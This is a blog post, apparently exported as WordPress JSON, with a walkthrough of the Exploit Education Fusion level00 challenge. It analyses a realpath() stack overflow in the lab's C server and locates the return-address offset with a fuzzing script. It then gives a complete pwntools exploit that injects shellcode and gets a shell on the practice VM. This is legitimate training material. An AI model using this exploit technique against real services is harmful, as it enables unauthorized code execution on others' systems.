{"id":1204,"date":"2020-02-13T10:55:53","date_gmt":"2020-02-13T15:55:53","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=1204"},"modified":"2021-01-04T09:09:17","modified_gmt":"2021-01-04T14:09:17","slug":"exploit-education-fusion-level-00-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-fusion-level-00-solution\/","title":{"rendered":"Exploit Education | Fusion | Level 00 Solution"},"content":{"rendered":"<p>This is a simple introduction to get you warmed up.<\/p>\n<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/fusion\/level00\/\">http:\/\/exploit.education\/fusion\/level00\/<\/a><\/p>\n<p>If you worked through the Phoenix challenges, this one should be really easy. But if you&#8217;re like me and took a break since doing those, you&#8217;ll appreciate this refresher.<\/p>\n<p>We can connect to the VM on port 20,000 using netcat, but unless you understand the program, you won&#8217;t know what to send it. Let&#8217;s look at the source code to see what type of input it&#8217;s expecting. The <code>main()<\/code> function just sets everything up and calls the first function:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nint main(int argc, char **argv, char **envp)\r\n{\r\n  int fd;\r\n  char *p;\r\n\r\n  background_process(NAME, UID, GID); \r\n  fd = serve_forever(PORT);\r\n  set_io(fd);\r\n\r\n  parse_http_request(); \r\n}<\/pre>\n<p>The <code>parse_http_request()<\/code> function is the bulk of the code:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nchar *parse_http_request()\r\n{\r\n  char buffer&#x5B;1024];\r\n  char *path;\r\n  char *q;\r\n\r\n  printf(&quot;&#x5B;debug] buffer is at 0x%08x :-)\\n&quot;, buffer);\r\n\r\n  if(read(0, buffer, sizeof(buffer)) &lt;= 0)\r\n    errx(0, &quot;Failed to read from remote host&quot;);\r\n  if(memcmp(buffer, &quot;GET &quot;, 4) != 0) errx(0, &quot;Not a GET request&quot;);\r\n\r\n  path = &amp;buffer&#x5B;4];\r\n  q = strchr(path, ' ');\r\n  if(! q) errx(0, &quot;No protocol version specified&quot;);\r\n  *q++ = 0;\r\n  if(strncmp(q, &quot;HTTP\/1.1&quot;, 8) != 0) errx(0, &quot;Invalid protocol&quot;);\r\n\r\n  fix_path(path);\r\n\r\n  printf(&quot;trying to access %s\\n&quot;, path);\r\n\r\n  return path;\r\n}<\/pre>\n<p>This function does a few things:<\/p>\n<ul>\n<li>It prints the address of the &#8220;buffer&#8221; variable. This effectively removes any need for debugging or reverse engineering.<\/li>\n<li>It reads user input into the &#8220;buffer&#8221; variable. Note that this is NOT vulnerable to buffer overflow as it only reads a maximum of 1024 bytes (<code>sizeof(buffer)<\/code>).<\/li>\n<li>The first 4 bytes of that input are compared to the string <code>GET <\/code>, including the space. If they do not equal, the program exits.<\/li>\n<li>The &#8220;path&#8221; variable is then set to point to the 5th byte of the &#8220;buffer&#8221; variable, while the &#8220;q&#8221; variable points to the first space character after that. If there is no space after that, the program will exit.<\/li>\n<li>The next 8 bytes after &#8220;q&#8221; are compared to the string <code>HTTP\/1.1<\/code>. If they do not equal, the program exits.<\/li>\n<\/ul>\n<p>We can see that the program is supposed to act like a web server that only accepts the first line of an HTTP GET request. Normally, you might expect the path to be something like <code>\/index.html<\/code>. So let&#8217;s test this with netcat:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~ $ nc fusion 20000\r\n&#x5B;debug] buffer is at 0xbffff8f8 :-)\r\nGET \/index.html HTTP\/1.1\r\ntrying to access \/index.html\r\n<\/pre>\n<pre>NOTE: I added an entry to my \/etc\/hosts file so that \"fusion\" resolves to the VMs IP address<\/pre>\n<p>Next, the program calls the <code>fix_path()<\/code> function while passing the &#8220;path&#8221; pointer to it. The main purpose of this function is to call the <code>realpath()<\/code> function (returns the canonicalized absolute pathname) on the user-supplied path and save the result to the &#8220;resolved&#8221; variable:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\r\nint fix_path(char *path)\r\n{\r\n  char resolved&#x5B;128];\r\n  \r\n  if(realpath(path, resolved) == NULL) return 1; \r\n  \/\/ can't access path. will error trying to open\r\n\r\n  strcpy(path, resolved);\r\n}<\/pre>\n<p>Now you can see where our buffer overflow vulnerability exists. <del datetime=\"2021-01-04T14:05:33+00:00\">The strcpy() function is called with no bounds checking.<\/del> The <code>realpath()<\/code> function will copy the string pointed to by <code>*path<\/code> into the <code>resolved<\/code> buffer. We should be able to overwrite the return address in this function&#8217;s stack frame. The only question that remains is, where is that address? In the past, I&#8217;ve used tools that generate a de Bruijn sequence (e.g. <a href=\"https:\/\/github.com\/Svenito\/exploit-pattern\">github.com\/Svenito\/exploit-pattern<\/a>) for finding the exact offset of the saved EIP. However, that won&#8217;t be necessary here.<\/p>\n<p>Now, I could do this completely remotely via fuzzing. I can keep increasing the amount of input to the &#8220;resolved&#8221; variable until I no longer get a response from the server, indicating a crash. This time, however, I&#8217;ll just use <code>dmesg<\/code> to see the kernel messages. I&#8217;ll write a simple Python script to try to determine where EIP is on the stack:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport socket\r\nimport struct\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((&quot;fusion&quot;, 20000))\r\n\r\npayload  = b&quot;GET \/&quot;\r\npayload += b&quot;A&quot; * 127 # fill the 'resolved' buffer\r\npayload += b&quot;B&quot; * 4\r\npayload += b&quot;C&quot; * 4\r\npayload += b&quot;D&quot; * 4\r\npayload += b&quot;E&quot; * 4\r\npayload += b&quot; HTTP\/1.1&quot;\r\n\r\nprint(s.recv(1024).strip())\r\ns.sendall(payload)\r\nprint(s.recv(1024).strip())\r\n<\/pre>\n<p>First, on the Fusion VM itself, I&#8217;ll clear the log:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion:~$ sudo dmesg -c\r\n...\r\n<\/pre>\n<p>Then I&#8217;ll run the script:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion $ .\/level00_fuzz.py \r\nb'&#x5B;debug] buffer is at 0xbffff8f8 :-)'\r\nb''\r\n<\/pre>\n<p>And check the VM again:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nfusion@fusion:~$ dmesg\r\n&#x5B; 7378.989633] level00&#x5B;2216]: segfault at 45454545 ip 45454545 sp bffff8e0 error 14\r\n<\/pre>\n<p>We can see that the string of E&#8217;s (0x45) were the ones to overwrite EIP. This means that EIP is saved 140 bytes after the start of the &#8220;resolved&#8221; variable. Now we can build an exploit. Fortunately, the challenge site gives us valuable information. It tells us that there are no protections (e.g. ASLR or NX) and hints that we should put shellcode after the <code>HTTP\/1.1<\/code> string.<\/p>\n<p>This will be my first use of the Python pwntools library:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport pwn\r\n\r\nio = pwn.remote(&quot;fusion&quot;, 20000)\r\n\r\n# buffer is at 0xbffff8f8\r\ntarget = pwn.p32(0xbffff8f8 + 157)\r\n\r\nshellcode = pwn.asm(pwn.shellcraft.sh())\r\n\r\npayload  = b&quot;GET \/&quot; + b&quot;A&quot;*127 # fill the 'resolved' buffer\r\npayload += b&quot;B&quot;*12\r\npayload += target\r\npayload += b&quot; HTTP\/1.1&quot;\r\npayload += shellcode\r\n\r\nprint(io.recv().decode())\r\nio.sendline(payload)\r\nio.interactive()\r\n<\/pre>\n<p>I know that you&#8217;ll generally want to import the pwntools functionality into the global namespace with <code>from pwn import *<\/code>. However, this time I&#8217;d like to show which functions belong to pwntools.<\/p>\n<p>Let&#8217;s run it:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fusion $ .\/level00_pwn.py \r\n&#x5B;+] Opening connection to fusion on port 20000: Done\r\n&#x5B;debug] buffer is at 0xbffff8f8 :-)\r\n\r\n&#x5B;*] Switching to interactive mode\r\n$ id\r\nuid=20000 gid=20000 groups=20000\r\n<\/pre>\n<p>Success!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is a simple introduction to get you warmed up &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-fusion-level-00-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Fusion | Level 00 Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1204","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1204","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=1204"}],"version-history":[{"count":22,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1204\/revisions"}],"predecessor-version":[{"id":1469,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1204\/revisions\/1469"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=1204"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=1204"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=1204"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}